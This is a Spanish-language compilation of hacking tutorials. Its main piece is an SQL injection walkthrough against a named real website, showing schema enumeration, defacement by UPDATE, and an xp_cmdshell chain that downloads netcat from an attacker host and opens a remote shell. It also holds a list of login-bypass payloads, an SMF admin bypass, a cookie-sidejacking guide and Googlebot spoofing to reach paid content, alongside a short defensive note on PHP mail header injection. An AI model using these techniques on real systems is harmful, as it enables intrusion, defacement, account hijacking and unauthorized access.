SQL INYEXION - noticias.asp

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamos…como saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.

http://www.compolaser.com/

hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k probé:

http://www.compolaser.com/Noticias.asp?Id=’

i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14'

Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta pagina…pero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter ‘ delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=’

la sentencia final kedo asi:

Select * from Noticias where id = ‘ ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla…

bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.

veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

esto provocara un error en mssql que nos desvelara que la tabla se llama:

Noticias

y que el primer registro es: id

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14'

La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

/Noticias.asp, line 24

interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

hemos echo:

group by Noticias.id having 1=1–

por k Noticias.id? por k es el primer registro…

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:

noticias.Resumen

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14'

La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1–

i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:

update tabla set registro=’nuevo valor’

pues bien, es facil saber que hacer ahora:

update noticias set titulo = ‘hackeados por jocanor’

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = ‘hackeados por jocanor’–

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…

vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ‘ping 10.10.1.2'–

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–

exec master..xp_cmdshell ‘c:nc.exe ?l ?p 8000 ?e cmd.exe’ ?-

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

Fuente: Dragonjar

Google Protection


Con todos los bugs de cross-site scritpting (XSS) en google, realmente soprende el hecho de que nuestros blogs (hosteados por Google´s Blogspot) no hayan sido defaceados aun.

Una forma de protegerse de esto es abrir por separado ventanas de firefox, una para Google y una sin google. Esto nos permite tener GMail en una ventana separada en nuestro escritorio, pero sin el peligro de bugs XSS y hijacking de sesiones GMail.

Para esto, es necesario tomar ventaja de los perfiles de firefox. Ademas necesitamos crear 2 scripts, uno que abra el perfil existente "default", y otro que abra el perfil "gmail". El siguiente script (para windows) abre el perfil "default", solo debemos cambiar "default" por "gmail" para el segundo script.

Ahona necesitamos abrir Firefox utilizando estos scripts, porque si lo abrimos de manera normal usaremos cualquiera de los perfiles que utilizo Firefox ultimamente.

.ASP login ByPass

Uno de los principales problemas con SQL es su pobreza en cuestiones relativas a la seguridad en logins y url strings.

No entraremos en detalles y simplemente buscamos:

"admin/login.asp"
"login.asp"

Con estas 2 busquedas tendremos diversion para rato.

ahora como sera la inyeccion?

bueno esta es la parte mas facil, en el formulario de acceso ingresa algo asi:

user:admin (esto en realidad es innesesario)
pass:' or 1=1--

o

user:' or 1=1--
admin:' or 1=1--

Algunas webs solo requieren password por lo tanto


password:' or 1=1--

Aca dejo algunas variaciones de injecciones:

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a


Fuente y Traduccion al Ingles: http://www.governmentsecurity.org/articles/SQLinjectionBasicTutorial.php

Headers Mail Inyeccion

ESTE ES UN ANUNCIO IMPORTANTE
Le hacemos llegar este anuncio para informarle sobre el creciente uso de una nueva modalidad de envio de e-mails masivos a través de formularios web que utilizan PHP para el envio de mails con el objetivo de enviar spam, en algunos casos, y el anonimato de los mensajes enviados en otros caso. Esta modalidad aprovecha la forma en que la función mail() de PHP funciona y se conoce como "Headers Mail Injection". La misma consiste en aprovecharse de formularios de sitios web que utilicen la función mail() de PHP para el envio de los datos ingresados por el visitante y que además estos, no validen los datos en forma correcta para evitar este tipo de abusos.


¿Cómo funciona esta modalidad?
Para explicarlo vamos a basarnos en un ejemplo simple, supongamos que nuestro sitio dispone de un campo para el ingreso del e-mail por parte del visitante de la siguiente forma:

<input name="email" type="text" value="Ingrese su e-mail aqui" />

luego, la dirección ingresada en este campo es enviada al servidor y es tomada por el script PHP para ser utilizada como FROM en la función mail() y de esta manera el mensaje que nos llega a nuestro correo tendrá como remitente la dirección ingresada por el visitante. Ahora bien, la función mail() de PHP

mail(recipiente, asunto, mensaje, cabeceras extras);

simplemente concatena los parametros que le son pasados, por lo cual, si en el campo mail del formulario ingresamos lo siguiente:

"spammer@anonimo.com%0ACc:email@victima1.com%0ABcc:email@victima2.com,email@victima3.com"

donde la primera dirección será el FROM: (dirección de origen que llegará a las víctimas del spam), %0A es el valor hexadecimal del caracter de salto de línea , Cc: (Copias) contiene la dirección o direcciones de las víctimas y Bcc: (Copias ocultas) contiene también direcciones de las víctimas del spam.

Parte de la cabecera del e-mail generado por nuestro formulario abusado será:

To: recipient@midominio.com
Subject: Asunto del mensaje
From: spammer@anonimo.com
Cc:email@victima1.com
Bcc:email@victima2.com,email@victima3.com

Con esto, el spammer habrá utilizado nuestro formulario para el envio de correo masivo a través de nuestro formulario.

El ejemplo visto es el caso más básico de esta modalidad ya que a través de la inyección de cabeceras se puede incluso modificar el asunto y hasta el mensaje en si mismo hasta el punto de poder enviar mensajes con contenido html.


¿Qué consecuencias tiene esta modalidad?
En primer lugar, nuestro formulario está siendo usado para llevar a cabo un acto con el cual la gran mayoría de nosotros estamos en desacuerdo, también se está haciendo uso del ancho de banda disponible para el servidor afectando al resto e los sitios alojados en el mismo, por lo cual, el sitio en cuestión será suspendido hasta que el inconveniente sea resuelto, por último, ante una denuncia de spam, dicha cuenta deberá ser suspendida de acuerdo a lo previsto en legales de nuestro sitio. Es responsabilidad de cada usuario el utilizar código lo suficientemente seguro en su sitio web y corregir esto si fuera necesario.


¿Cómo evitar la utilización de nuestro formulario?
Ante todo, cabe aclarar que esta modalidad se da únicamente en formularios que utilizan la función mail() de PHP para procesar y enviar los datos ingresados por el visitante.

Si utiliza algún script de PHP no elaborado por Ud. como formailphp, por favor, actualice el mismo con la versión más reciente verficando que brinde una solución a este tipo de actividad.

Si utiliza un script PHP creado por Ud. o posee los conocimientos como para editar el mismo, aquí incorporamos una función que puede utilizar para validar los datos ingresados de forma eficiente.

CODIGO:

<?php
function ValidarDatos($campo){
//Array con las posibles cabeceras a utilizar por un spammer
$badHeads = array("Content-Type:",
"MIME-Version:",
"Content-Transfer-Encoding:",
"Return-path:",
"Subject:",
"From:",
"Envelope-to:",
"To:",
"bcc:",
"cc:");

//Comprobamos que entre los datos no se encuentre alguna de
//las cadenas del array. Si se encuentra alguna cadena se
//dirige a una página de Forbidden
foreach($badHeads as $valor){
if(strpos(strtolower($campo), strtolower($valor)) !== false){
header("HTTP/1.0 403 Forbidden");
exit;
}
}
}

//Ejemplo de llamadas a la funcion
ValidarDatos($_POST['email']);
ValidarDatos($_POST['asunto']);
ValidarDatos($_POST['mensaje']);
?>



------------------------


Esta función es básica y puede ser modificada de acuerdo al script que Ud. utilice para el procesamiento del formulario e incluso incorporar control de errores.
No olvide incluir los campos ocultos del formulario si estos datos van a ser pasado a través de la función mail().

Esperamos que esta información le sea útil y de ayuda para que entre todos podamos minimizar el impacto causado por este tipo de actos y hacer un uso eficiente del servicio.

SMF .htaccess ByPass

Discovered by Seph1roth on June 2007 (was priv8)
#
# Vulnerable: Simple Machine Forum [ALL Versions]
#
# Visit: http://www.blackroots.it - Best hacking site.
#
# Description:

If smf has index.php?action=admin in .htaccess ,i can bypass that by typing in the url some variable of administration panel :

example:

index.php?action=admin (.htaccess,then access denied)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)

...and others...

i can bypass and enter the administration by typing the accessible variables in the url...

# Greets to all BlackRoots Users
#
# Shoutz to all kiddies
#
# ./end

-------------------

Traduccion rapidita:

Vulnerable: Simple Machine Forum [Todas las Versiones]

# Description:

si el smf tiene .htaccess en index.php?action=admin, se puede bypasear escribiendo en la url una variable dentro del panel de administracion.

Ejemplo:

index.php?action=admin (.htaccess, DENEGADO)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)

Bytes

SideJacking

Ahora vamos a utilizar un ataque conocido como sidejacking o MAN IN THE MIDDLE. que fue utilizado por Robert Graham en la conferencia BlackHat para robar una cuenta de Gmail.

Ahora directo a la accion, descargamos las tools (al final del post) y lo guardamos en una carpeta por ejemplo C:/sidejacking.

Inicie su línea de comandos (Inicio / Ejecutar / cmd) y navegue a la carpeta en la que ha colocado
el ferret y el hamster. Luego escriba "ferret -w" para verificar las interfaces de conexion, luego escribimos "ferret -i n" y nos dara la lista de interfaces q podemos utilizar. finalmente seleccionamos una interface dependiendo su orden por ejemplo "ferret -i 1" tambien se puede ejecutar "ferret -I 1" para ejecutarlo en otra ventana.

Si has obtenido el derecho de red, podrá ver el tráfico de toneladas de streaming a través de la ventana de línea de comando.

Mientras tenemos el ferret abierto en otra ventana de cmd previamente posicionada en la carpeta donde tenemos las tools de sidejacking, ejecutamos la linea de comandos "hamster"


Usted debe ver un archivo hamster.txt ahora en la carpeta. Aquí es donde las cookies sniffeadas se almacenan y se puede incluso hacer doble click en el archivo para ver el contenido. El archivo no se borra cuando ferret o hámster se detienen, por lo que puede copiar el archivo a otra carpeta para un examen más detenido.

Ahora debemos configurar nuestro navegador con la siguiente proxy "127.0.0.1:3128" y luego navegar a la siguiente direccion "http://hamster", alli veremos una lista de ips que han sido scaneadas y haciendo click en cualquier ip veremos las webs visitadas por estas, con solo hacer click en los links nos logueamos como el verdadero usuario.

Podemos descargar las tools desde la web del autor http://www.erratasec.com/sidejacking.zip

Hackers consiguen acceso al PC vía feeds

Los usuarios de Internet que leen blogs y sitios web mediante feeds de RSS pueden convertirse en víctimas de hackers.En efecto, los comentarios referidos por RSS pueden contener scripts de java malignos.
El formato RSS ha facilitado a los usuarios el acceso al material informativo de su interés, ya sea publicado por medios de comunicación o por usuarios particulares. Sin embargo, la tecnología RSS también constituye un riesgo de seguridad.
La publicación cita al experto en seguridad Bob Auger, de SPI Dynamics, quien asegura que los hackers pueden acceder a un PC transfiriendo un javascript maligno en los comentarios en formato RSS o Atom.

SPI Dynamics ha investigado una serie de lectores de feeds, y concluido que muchos de ellos no pueden detectar comentarios con código maligno. A modo de ejemplo menciona Bloglines, RSS Reader, RSS Owl, Feed Demon y Sharp Reader.

Auger recomienda usar un lector de feeds que no permita la ejecución de javascript.

Entrar en sitios pagos haciéndote pasar por el Googlebot


Existen muchos sitios webs pagos que, como es lógico, restringen el acceso a usuarios no registrados, pero no así al bot de Google (Googlebot) que es el robot que se encarga de indexar el contenido de los sitios y que estos le permiten libre acceso para mantenerse relevantes en el buscador.

Existe una extensión para Firefox llamada User Agent Switcher (UAS) que nos permite engañar a estos sitios webs haciéndonos pasar por Googlebot (modificando el User-Agent del navegador) y de esta manera acceder al contenido restringido. Después de descargar la extensión, es necesario configurarla de la misma forma que aparece en la imagen y así tener acceso a algunos sitios que normalmente están restringidos.